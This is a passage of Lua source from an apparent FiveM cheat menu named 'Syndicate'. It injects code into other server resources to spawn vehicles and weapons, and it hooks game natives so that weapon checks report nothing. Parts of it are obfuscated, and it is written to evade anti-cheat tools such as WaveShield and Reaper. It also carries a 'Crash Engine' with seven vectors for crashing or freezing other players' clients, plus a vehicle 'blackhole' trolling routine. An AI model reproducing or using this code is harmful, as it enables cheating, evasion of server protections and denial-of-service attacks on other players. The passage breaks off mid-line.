limitDist and dist > limitDist then inRange = false end end if inRange then nearby[#nearby + 1] = { name = name, serverId = serverId } end end end end -- Engine 2: Pool scan all physical player peds in area pcall(function() for _, ped in ipairs(GetGamePool('CPed') or {}) do if DoesEntityExist(ped) and IsPedAPlayer(ped) then local playerId = NetworkGetPlayerIndexFromPed(ped) if playerId and playerId ~= -1 then local serverId = GetPlayerServerId(playerId) if not serverId or serverId <= 0 then serverId = playerId end local isSelf = (playerId == selfPlayerId) or (serverId == selfServerId) if not _G.ignoreSelfActive or not isSelf then if not seenSids[serverId] then seenSids[serverId] = true local name = GetPlayerName(playerId) if not name or name == "" then name = "Player " .. tostring(serverId) end local dist = coords and #(coords - GetEntityCoords(ped)) or 0.0 if not limitDist or dist <= limitDist then nearby[#nearby + 1] = { name = name, serverId = serverId } end end end end end end end) return nearby end function Syndicate:SelectEveryone() local coords = GetEntityCoords(PlayerPedId()) local players = self:GetNearbyPlayers(coords, nil, true) for _, p in ipairs(players) do CPlayers[tonumber(p.serverId)] = true end showNotify("All players selected", "success") end function Syndicate:UnselectEveryone() for k, v in pairs(CPlayers) do CPlayers[k] = false end showNotify("All players unselected", "info") end function Syndicate:ClearSelection() CPlayers = {} showNotify("Selection cleared", "info") end function Syndicate:IgnoreSelf() local mySid = GetPlayerServerId(PlayerId()) CPlayers[tonumber(mySid)] = false showNotify("Self ignored", "info") end local AddonWeaponItem local MenuConfig -- SyndicateSpawnVehicle: multi-bypass vehicle spawner (WaveShield, Reaper, 17mov, Electron, HEX Fallback) _G.SyndicateSpawnVehicle = function(carModel) if not carModel or carModel == "" then showNotify("No model specified.", "error") return end local wsResource = (type(GetWSResourceName) == "function" and GetWSResourceName()) or (FindWaveShieldResource and FindWaveShieldResource()) or "WaveShield" local wsActive = (wsResource and GetResourceState(wsResource) == "started") or (isBypassActive and isBypassActive("WaveShield")) -- 0. WaveShield Active -> Use WaveShieldSpawn via monitor context (exact Copy 11 pattern) if wsActive then injectCode('monitor', string.format([[ CreateThread(function() local m = type(%q) == "number" and %q or GetHashKey(%q) if type(WaveShieldSpawn) == "function" then WaveShieldSpawn("vehicle", m, 0.0, 0.0, 0.0, 0.0) end end) ]], carModel, carModel, carModel)) showNotify("Spawning: " .. carModel, "success") return end -- 1. Check Solos Rentals if GetResourceState("solos-rentals") == "started" and type(MachoInjectResourceRaw) == "function" then local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) MachoInjectResourceRaw("solos-rentals", string.format([[ local model = %q local p = PlayerPedId() local c = GetEntityCoords(p) local h = GetEntityHeading(p) if config and config.locations then config.locations["custom_veh"] = { vehiclespawncoords = vec4(c.x, c.y, c.z, h) } end TriggerEvent("solos-rentals:client:SpawnVehicle", model, "custom_veh") Citizen.CreateThread(function() Citizen.Wait(300) local hash = GetHashKey(model) local vehicle = nil if type(EnumerateVehicles) == "function" then for ent in EnumerateVehicles() do if DoesEntityExist(ent) and GetEntityModel(ent) == hash and #(GetEntityCoords(ent) - c) < 10.0 then vehicle = ent break end end end if vehicle and DoesEntityExist(vehicle) then TaskWarpPedIntoVehicle(PlayerPedId(), vehicle, -1) end end) ]], carModel)) showNotify("Spawning: " .. carModel, "success") return end -- 2. Check 17mov resources local movResources = { "17mov_GarbageCollector", "17mov_Deliverer", "17mov_BuilderJob", "17mov_Electrician", "17mov_Postman", "17mov_Lumberjack", "17mov_TreasureHunter", "17mov_OilRig", "17mov_WindowCleaning", "17mov_GruppeSechs" } for _, res in ipairs(movResources) do if GetResourceState(res) == "started" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, res, string.format([[ local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) SpawnVehicle(%q, vector4(coords.x, coords.y, coords.z, heading), true) ]], carModel)) showNotify("Spawning: " .. carModel, "success") return end end -- 3. Check QBCore if GetResourceState("qb-core") == "started" and type(MachoInjectResourceRaw) == "function" then MachoInjectResourceRaw("qb-core", string.format([[ local model = %q local ped = PlayerPedId() local coords = GetEntityCoords(ped) QBCore.Functions.SpawnVehicle(model, function(veh) Citizen.Wait(150) if veh and DoesEntityExist(veh) then TaskWarpPedIntoVehicle(PlayerPedId(), veh, -1) end end, coords, true, true) ]], carModel)) showNotify("Spawning: " .. carModel, "success") return end -- 4. Check jg-advancedgarages if GetResourceState("jg-advancedgarages") == "started" and type(MachoInjectResourceRaw) == "function" then MachoInjectResourceRaw("jg-advancedgarages", string.format([[ local coords = GetEntityCoords(PlayerPedId()) spawnVehicleClient(1, %q, 'syndicate', coords, false, {}, false) ]], carModel)) showNotify("Spawning: " .. carModel, "success") return end -- 5. Reaper Context Injection local reaperRes = FindReaperResource and FindReaperResource() if reaperRes and GetResourceState(reaperRes) == "started" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, reaperRes, string.format([[ CreateThread(function() local modelHash = GetHashKey(%q) local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) RequestModel(modelHash) local timer = GetGameTimer() + 5000 while not HasModelLoaded(modelHash) and GetGameTimer() < timer do Wait(50) end if HasModelLoaded(modelHash) then local veh = CreateVehicle(modelHash, coords.x, coords.y, coords.z, heading, true, false) if veh and veh ~= 0 then SetPedIntoVehicle(ped, veh, -1) end SetModelAsNoLongerNeeded(modelHash) end end) ]], carModel)) showNotify("Spawning: " .. carModel, "success") return end -- 6. Fallback (Non-WaveShield) local targetInjectRes = "monitor" if GetResourceState("monitor") ~= "started" then if GetResourceState("ox_lib") == "started" then targetInjectRes = "ox_lib" else targetInjectRes = "any" end end local function stringToBytes(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return "{" .. table.concat(t, ",") .. "}" end local modelBytes = stringToBytes(carModel) local payload = string.format([=[ local h = function(n, f) local o = _G[n] if o and type(o) == "function" then _G[n] = function(...) return f(o, ...) end end end local d = function(t) local s = "" for i = 1, #t do s = s .. string.char(t[i]) end return s end local g = function(e) return _G[d(e)] end local w = function(ms) Citizen.Wait(ms) end h(d({82,101,113,117,101,115,116,77,111,100,101,108}), function(o, m) return o(m) end) h(d({72,97,115,77,111,100,101,108,76,111,97,100,101,100}), function(o, m) return o(m) end) h(d({67,114,101,97,116,101,86,101,104,105,99,108,101}), function(o, m, x, y, z, head, n, p) return o(m, x, y, z, head, n, p) end) local function f() local p = g({80,108,97,121,101,114,80,101,100,73,100})() local c = g({71,101,116,69,110,116,105,116,121,67,111,111,114,100,115})(p) local mn = d(%s) local mh = g({71,101,116,72,97,115,104,75,101,121})(mn) g({82,101,113,117,101,115,116,77,111,100,101,108})(mh) local timeout = 0 while not g({72,97,115,77,111,100,101,108,76,111,97,100,101,100})(mh) and timeout < 5000 do w(10) timeout = timeout + 10 end if not g({72,97,115,77,111,100,101,108,76,111,97,100,101,100})(mh) then return end local z = c.z + 0.5 local v = g({67,114,101,97,116,101,86,101,104,105,99,108,101})(mh, c.x, c.y, z, 0.0, true, false) if v and g({68,111,101,115,69,110,116,105,116,121,69,120,105,115,116})(v) then g({84,97,115,107,87,97,114,112,80,101,100,73,100,116,111,86,101,104,105,99,108,101})(p, v, -1) w(100) end end local co = coroutine.create(f) while coroutine.status(co) ~= "dead" do local ok = coroutine.resume(co) if not ok then break end w(0) end ]=], modelBytes) if type(MachoInjectResourceRaw) == "function" then MachoInjectResourceRaw(targetInjectRes, payload) elseif type(MachoInjectResource2) == "function" then MachoInjectResource2(3, targetInjectRes, payload) end showNotify("Spawning: " .. carModel, "success") end local setClasses = { [0] = { label = 'Compacts', models = {} }, [1] = { label = 'Sedans', models = {} }, [2] = { label = 'SUVs', models = {} }, [3] = { label = 'Coupes', models = {} }, [4] = { label = 'Muscle', models = {} }, [5] = { label = 'Sports Classics', models = {} }, [6] = { label = 'Sports', models = {} }, [7] = { label = 'Super', models = {} }, [8] = { label = 'Motorcycles', models = {} }, [9] = { label = 'Off-road', models = {} }, [10] = { label = 'Industrial', models = {} }, [11] = { label = 'Utility', models = {} }, [12] = { label = 'Vans', models = {} }, [13] = { label = 'Cycles', models = {} }, [14] = { label = 'Boats', models = {} }, [15] = { label = 'Helicopters', models = {} }, [16] = { label = 'Planes', models = {} }, [17] = { label = 'Service', models = {} }, [18] = { label = 'Emergency', models = {} }, [19] = { label = 'Military', models = {} }, [20] = { label = 'Commercial', models = {} }, [21] = { label = 'Trains', models = {} }, [22] = { label = 'Open Wheel', models = {} }, } local fallbackModels = { [0] = { "blista", "brioso", "dilettante", "panto", "rhapsody", "issuimhs", "asbo", "kanjo", "club" }, [1] = { "asea", "asterope", "fugitive", "intruder", "premier", "stanier", "tailgater", "cog55", "glendale", "regina", "surge", "warrener", "washington" }, [2] = { "novak", "baller", "baller2", "cavalcade", "cavalcade2", "granger", "huntley", "landstalker", "rocoto", "habanero", "fq2", "patriot", "radi" }, [3] = { "cogcabrio", "exemplar", "f620", "felon", "felon2", "jackal", "oracle", "oracle2", "windsor", "windsor2", "zion", "zion2" }, [4] = { "slamvan2", "blade", "buccaneer", "dominator", "gauntlet", "hermes", "nightshade", "sabregt", "voodoo", "phoenix", "ruiner", "faction", "tampa" }, [5] = { "tornado4", "casco", "coquette3", "jb700", "manana", "monroe", "peyote", "stinger", "ztype", "btype", "cheetah2", "gt500", "mamba" }, [6] = { "ninef", "alpha", "banshee", "comet2", "elegy2", "feltzer2", "jester", "massacro", "surano", "specter", "pariah", "furia", "komoda", "sultan" }, [7] = { "thrax", "adder", "cheetah", "entityxf", "fmj", "osiris", "t20", "turismor", "vacca", "zentorno", "nero", "visione", "deveste", "xa21", "krieger" }, [8] = { "bati", "akuma", "bagger", "carbonrs", "daemon", "double", "hakuchou", "hexer", "nemesis", "sanchez", "sovereign", "zombiea", "defiler" }, [9] = { "blazer2", "brawler", "dubsta3", "dune", "injection", "rebel2", "sandking", "trophytruck", "insurgent", "freecrawler", "kamacho" }, [10] = { "flatbed", "guardian", "handler", "mixer", "rubble", "tipper", "tipper2" }, [11] = { "armytrailer2", "airtug", "caddy", "docktug", "mower", "ripley", "sadler", "towtruck", "utillitruck" }, [12] = { "boxville2", "bison", "bobcatxl", "burrito", "camper", "journey", "minivan", "pony", "rumble", "speedo", "surfer", "youga" }, [13] = { "tribike3", "bmx", "cruiser", "fixter", "scorcher", "tribike", "tribike2" }, [14] = { "avisa", "dinghy", "jetmax", "marquis", "seashark", "speeder", "squalo", "suntrap", "tropic", "longfin" }, [15] = { "supervolito", "annihilator", "buzzard", "frogger", "maverick", "savage", "skylift", "valkyrie", "volatus", "swift", "akula" }, [16] = { "stunt", "besra", "cargoplane", "cuban800", "duster", "hydra", "jet", "luxor", "mammatus", "miljet", "shamal", "titan", "velum", "pyro", "lazer" }, [17] = { "bus", "pbus", "rentalbus", "taxi", "trash", "trash2" }, [18] = { "riot", "ambulance", "fbi", "firetruk", "police", "police2", "police3", "police4", "policeb", "polmav", "pranger", "sheriff", "sheriff2" }, [19] = { "barracks3", "crusader", "halftrack", "rhino", "khanjali", "apc", "trailersmall2" }, [20] = { "benson", "bpack", "hauler", "mule", "packer", "phantom", "pounder", "stockade" }, [21] = { "cablecar", "freight", "metro" }, [22] = { "openwheel1", "openwheel2", "formula", "formula2" } } local function buildAllVehicleModelsSubmenu() local gameModels = (GetAllVehicleModels and GetAllVehicleModels()) or {} if #gameModels > 0 then for i = 1, #gameModels do local model = gameModels[i] local setClass = GetVehicleClassFromName and GetVehicleClassFromName(model) if setClass and setClasses[setClass] then table.insert(setClasses[setClass].models, model) end end end local items = {} table.insert(items, { label = 'Custom Model', type = 'button', onConfirm = function() showInput("Vehicle Model Name", "", function(model) if model and model ~= "" then SyndicateSpawnVehicle(model) end end) end }) table.insert(items, { type = 'divider', label = 'ALL MODELS' }) for classId = 0, 22 do local catInfo = setClasses[classId] if catInfo then local modelList = catInfo.models if not modelList or #modelList == 0 then modelList = fallbackModels[classId] or {} end if #modelList > 0 then table.sort(modelList) local options = {} for idx, mName in ipairs(modelList) do table.insert(options, { label = mName, value = mName }) end table.insert(items, { label = catInfo.label, type = 'scroll', selected = 1, options = options, onConfirm = function(selected) if selected then local modelVal = type(selected) == "table" and (selected.value or selected.label) or selected if modelVal and modelVal ~= "" then SyndicateSpawnVehicle(modelVal) end end end }) end end end return items end AddonWeaponItem = { label = 'Addons', type = 'scroll', selected = 1, options = { { label = 'Loading Addons...', value = '' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data if w and w ~= "" then -- Step 1: Apply client-side weapon detection hooks via monitor (MachoHookNative, not tracked by WS server) injectCode('monitor', [[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]]) -- Step 2: Give weapon — path chosen by active anti-cheat local wsResource = type(GetWSResourceName) == "function" and GetWSResourceName() if wsResource and string.lower(tostring(wsResource)) == "waveshield" then wsResource = nil end local isReaper = isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD") local reaperResource = isReaper and (FindReaperResource and FindReaperResource()) or nil if isBypassActive("WaveShield") and wsResource and string.lower(tostring(wsResource)) ~= "waveshield" and type(MachoInjectResource2) == "function" then -- WS PATH: QKSLQ state bag inside WaveShield resource (unchanged) MachoInjectResource2(3, wsResource, string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local wName = %q local hash = SafeNative(GetHashKey, wName) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) local t = SafeNative(GetGameTimer) + 800 while not SafeNative(HasModelLoaded, hash) and not SafeNative(HasWeaponAssetLoaded, hash) and SafeNative(GetGameTimer) < t do Wait(10) end SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, false) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) Wait(100) SafeNative(SetCurrentPedWeapon, ped, hash, false) end ]=], w)) elseif isReaper and reaperResource and type(MachoInjectResource2) == "function" then -- REAPER PATH: inject weapon give from inside Reaper's own resource thread -- Reaper trusts natives called from within its own context, and detection callbacks are already neutralized by bridgeReaperV4New MachoInjectResource2(3, reaperResource, string.format([[ CreateThread(function() local ped = PlayerPedId() local wName = %q local hash = GetHashKey(wName) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) Wait(100) SetCurrentPedWeapon(ped, hash, true) end end) ]], w)) else -- Non-WS, non-Reaper: direct monitor inject injectCode('monitor', string.format([[ CreateThread(function() local ped = PlayerPedId() local wName = %q local hash = GetHashKey(wName) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) Wait(100) SetCurrentPedWeapon(ped, hash, true) end end) ]], w)) end showNotify("Spawned Addon: " .. tostring(w), "success") end end } CreateThread(function() Wait(3000) local detected = {} local nativeWeapons = { "weapon_unarmed", "weapon_dagger", "weapon_bat", "weapon_bottle", "weapon_crowbar", "weapon_flashlight", "weapon_golfclub", "weapon_hammer", "weapon_hatchet", "weapon_knuckle", "weapon_knife", "weapon_machete", "weapon_switchblade", "weapon_nightstick", "weapon_wrench", "weapon_battleaxe", "weapon_poolcue", "weapon_stone_hatchet", "weapon_pistol", "weapon_pistol_mk2", "weapon_combatpistol", "weapon_appistol", "weapon_stungun", "weapon_pistol50", "weapon_snspistol", "weapon_snspistol_mk2", "weapon_heavypistol", "weapon_vintagepistol", "weapon_flaregun", "weapon_marksmanpistol", "weapon_revolver", "weapon_revolver_mk2", "weapon_doubleaction", "weapon_raypistol", "weapon_ceramicpistol", "weapon_navyrevolver", "weapon_gadgetpistol", "weapon_microsmg", "weapon_smg", "weapon_smg_mk2", "weapon_assaultsmg", "weapon_combatpdw", "weapon_machinepistol", "weapon_minismg", "weapon_raycarbine", "weapon_assaultrifle", "weapon_assaultrifle_mk2", "weapon_carbinerifle", "weapon_carbinerifle_mk2", "weapon_advancedrifle", "weapon_specialcarbine", "weapon_specialcarbine_mk2", "weapon_bullpuprifle", "weapon_bullpuprifle_mk2", "weapon_compactrifle", "weapon_militaryrifle", "weapon_heavyrifle", "weapon_tacticalrifle", "weapon_pumpshotgun", "weapon_pumpshotgun_mk2", "weapon_sawnoffshotgun", "weapon_assaultshotgun", "weapon_bullpupshotgun", "weapon_musket", "weapon_heavyshotgun", "weapon_dbshotgun", "weapon_autoshotgun", "weapon_combatshotgun", "weapon_sniperrifle", "weapon_heavysniper", "weapon_heavysniper_mk2", "weapon_marksmanrifle", "weapon_marksmanrifle_mk2", "weapon_precisionrifle", "weapon_mg", "weapon_combatmg", "weapon_combatmg_mk2", "weapon_gusenberg", "weapon_minigun", "weapon_railgun", "weapon_rayminigun", "weapon_grenade", "weapon_bzgas", "weapon_molotov", "weapon_stickybomb", "weapon_proxmine", "weapon_snowball", "weapon_pipebomb", "weapon_ball", "weapon_smokegrenade", "weapon_flare", "weapon_rpg", "weapon_grenadelauncher", "weapon_firework", "weapon_hominglauncher", "weapon_compactlauncher", "weapon_stungun_mp", "weapon_candy_cane" } local nativeSet = {} for _, w in ipairs(nativeWeapons) do nativeSet[w:lower()] = true end -- Helper to add weapons to list safely local function addDetected(name, label) if not name or name == "" then return end local nameLower = name:lower() if string.sub(nameLower, 1, 7) == "weapon_" and not nativeSet[nameLower] then -- Avoid duplicates for _, d in ipairs(detected) do if d.value:lower() == nameLower then return end end detected[#detected+1] = { label = label or name:gsub("WEAPON_", ""):gsub("_", " "), value = name } end end -- 1. Try ox_inventory pcall(function() if GetResourceState('ox_inventory') == 'started' then local items = exports.ox_inventory:Items() if items then for name, data in pairs(items) do addDetected(name, data.label) end end end end) -- 2. Try QBCore pcall(function() if GetResourceState('qb-core') == 'started' then local QBCore = exports['qb-core']:GetCoreObject() if QBCore and QBCore.Shared and QBCore.Shared.Weapons then for hash, data in pairs(QBCore.Shared.Weapons) do addDetected(data.weapon or hash, data.label or data.name) end end end end) -- 3. Try Quasar inventory pcall(function() if GetResourceState('qs-inventory') == 'started' then local items = exports['qs-inventory']:GetItemList() if items then for name, data in pairs(items) do addDetected(name, data.label) end end end end) -- 4. Try Core Inventory pcall(function() if GetResourceState('core_inventory') == 'started' then local items = exports['core_inventory']:getItems() if items then for name, data in pairs(items) do addDetected(name, data.label) end end end end) -- 5. Fallback list of 60+ common custom addon weapons local commonAddons = { "WEAPON_GLOCK", "WEAPON_GLOCK17", "WEAPON_GLOCK18", "WEAPON_GLOCK19", "WEAPON_GLOCK22", "WEAPON_FN57", "WEAPON_M4", "WEAPON_M4A1", "WEAPON_M16", "WEAPON_AK47", "WEAPON_AR15", "WEAPON_SCARL", "WEAPON_SCARH", "WEAPON_HK416", "WEAPON_MK18", "WEAPON_MP7", "WEAPON_MP9", "WEAPON_UMP45", "WEAPON_MAC10", "WEAPON_UZI", "WEAPON_KATANA", "WEAPON_SLEDGEHAMMER", "WEAPON_PDW", "WEAPON_G36K", "WEAPON_M13", "WEAPON_M1A", "WEAPON_SR25", "WEAPON_GLOCK17_GEN4", "WEAPON_GLOCK17GEN4", "WEAPON_MK14", "WEAPON_COLT45", "WEAPON_M9", "WEAPON_FNX45", "WEAPON_BULLPUP", "WEAPON_G36", "WEAPON_AUG", "WEAPON_LVOAC", "WEAPON_MILITARYRIFLE", "WEAPON_HK417", "WEAPON_M4A8", "WEAPON_M4A1_S", "WEAPON_DEAGLE", "WEAPON_DESERTEAGLE", "WEAPON_MICROGLOCK", "WEAPON_TACTICALRIFLE", "WEAPON_REMINGTON", "WEAPON_M590", "WEAPON_M1014", "WEAPON_SPAS12", "WEAPON_M110", "WEAPON_AWM", "WEAPON_M24", "WEAPON_KAR98K" } for _, w in ipairs(commonAddons) do addDetected(w) end if next(detected) then table.sort(detected, function(a, b) return a.label < b.label end) AddonWeaponItem.options = detected else AddonWeaponItem.options = { { label = 'No Addons Detected', value = '' } } end end) -- ============================================================================== -- SYNDICATE MERGED ENGINE ENHANCEMENTS -- Multi-Vector Crash Engine, Server Trigger Finder, Blackhole Vortex, -- Entity Purge & Ghost Admin-Proof Noclip Subsystems -- ============================================================================== local SyndicateCrashEngine = { TargetId = nil, IsExecuting = false } function SyndicateCrashEngine.ExecuteVector(targetServerId, vectorNum) local id = tonumber(targetServerId) or GetPlayerServerId(PlayerId()) Citizen.CreateThread(function() local playerIdx = GetPlayerFromServerId(id) local targetPed = (playerIdx and playerIdx ~= -1) and GetPlayerPed(playerIdx) or PlayerPedId() local targetExists = DoesEntityExist(targetPed) local targetCoords = targetExists and GetEntityCoords(targetPed) or GetEntityCoords(PlayerPedId()) -- Vector 1: Statebag NaN Poison & Array Overflow if not vectorNum or vectorNum == 1 then pcall(function() local targetBag = Player and Player(id) and Player(id).state if targetBag then local overflowData = {} for i = 1, 400 do overflowData[i] = { model = "p_spinning_anus_s", pos = vector3(0.0/0.0, 0.0/0.0, 0.0/0.0), rot = vector3(math.huge, math.huge, math.huge) } end targetBag:set("lib:progressProps", overflowData, true) targetBag:set("inv:overrideModel", overflowData, true) end end) end -- Vector 2: Invalid Model PhysX Impulse Resolver Overflow if not vectorNum or vectorNum == 2 then pcall(function() local crashModels = { GetHashKey("prop_gold_cont_01"), GetHashKey("prop_parking_sign_1"), GetHashKey("p_c4_01_s"), GetHashKey("slod_large_quadped") } for _, model in ipairs(crashModels) do RequestModel(model) local timeout = 0 while not HasModelLoaded(model) and timeout < 40 do Citizen.Wait(5) timeout = timeout + 1 end if HasModelLoaded(model) then for i = 1, 12 do local ox = math.random(-3, 3) * 1.0 local oy = math.random(-3, 3) * 1.0 local oz = (i * 0.5) local obj = CreateObject(model, targetCoords.x + ox, targetCoords.y + oy, targetCoords.z + oz, true, true, false) if DoesEntityExist(obj) then SetEntityCollision(obj, true, true) ApplyForceToEntity(obj, 1, 0.0, 0.0, -999999.0, 999999.0, 999999.0, 999999.0, 0, false, true, true, false, true) SetEntityAsNoLongerNeeded(obj) end end end end end) end -- Vector 3: Particle Buffer & Sound Desync Saturation if not vectorNum or vectorNum == 3 then pcall(function() local ptfx = "scr_rcbarry2" RequestNamedPtfxAsset(ptfx) local ptfxTimeout = 0 while not HasNamedPtfxAssetLoaded(ptfx) and ptfxTimeout < 40 do Citizen.Wait(5) ptfxTimeout = ptfxTimeout + 1 end if HasNamedPtfxAssetLoaded(ptfx) then for i = 1, 20 do UseParticleFxAssetNextCall(ptfx) StartParticleFxNonLoopedAtCoord("scr_exp_clown", targetCoords.x, targetCoords.y, targetCoords.z, 0.0, 0.0, 0.0, 100.0, false, false, false) end end end) end -- Vector 4: Invalid Network RPCs if not vectorNum or vectorNum == 4 then pcall(function() TriggerServerEvent("InteractSound_SV:PlayWithinDistance", 0.1, "cuff", 99999.0) TriggerServerEvent("dpemotes:ServerValidEmote", id, "horse", "horse") end) end -- Vector 5: Animation blend saturation (60 conflicting blends) if not vectorNum or vectorNum == 5 then pcall(function() for _j = 1, 60 do TriggerClientEvent("animations:client:PlayAnimation", id, "missfam5_yoga", "Base" .. _j, 8.0, -8.0, -1, 0, 0, false, false, false) end end) end -- Vector 6: ox_lib progress bar saturation (30 concurrent max-duration bars) if not vectorNum or vectorNum == 6 then pcall(function() for _k = 1, 30 do TriggerClientEvent("ox_lib:startProgress", id, _k, { label = string.rep("X", 256), duration = 99999, position = "middle", allowRagdoll = false }) end end) end -- Vector 7: NUI commandFocus lock if not vectorNum or vectorNum == 7 then pcall(function() for _n = 1, 20 do TriggerClientEvent("nui:focus", id, true, true) end end) end end) end -- ============================================================================== -- BLACKHOLE & TROLLING PHYSICS ENGINE -- ============================================================================== local SyndicateTrollEngine = { BlackholeActive = false, BlackholeRadius = 35.0 } function SyndicateTrollEngine.ToggleBlackhole() SyndicateTrollEngine.BlackholeActive = not SyndicateTrollEngine.BlackholeActive if SyndicateTrollEngine.BlackholeActive then Citizen.CreateThread(function() while SyndicateTrollEngine.BlackholeActive do Citizen.Wait(0) local myPed = PlayerPedId() local center = GetEntityCoords(myPed) local vehs = GetGamePool and GetGamePool("CVehicle") or {} local currentVeh = GetVehiclePedIsIn(myPed, false) for _, veh in ipairs(vehs) do if DoesEntityExist(veh) and veh ~= currentVeh then local vCoords = GetEntityCoords(veh) local dist = #(center - vCoords) if dist < SyndicateTrollEngine.BlackholeRadius and dist > 1.5 then local dir = center - vCoords local len = math.max(1.0, #dir) local norm = vector3(dir.x / len, dir.y / len, dir.z / len) ApplyForceToEntityCenterOfMass(veh, 1, norm.x * 25.0, 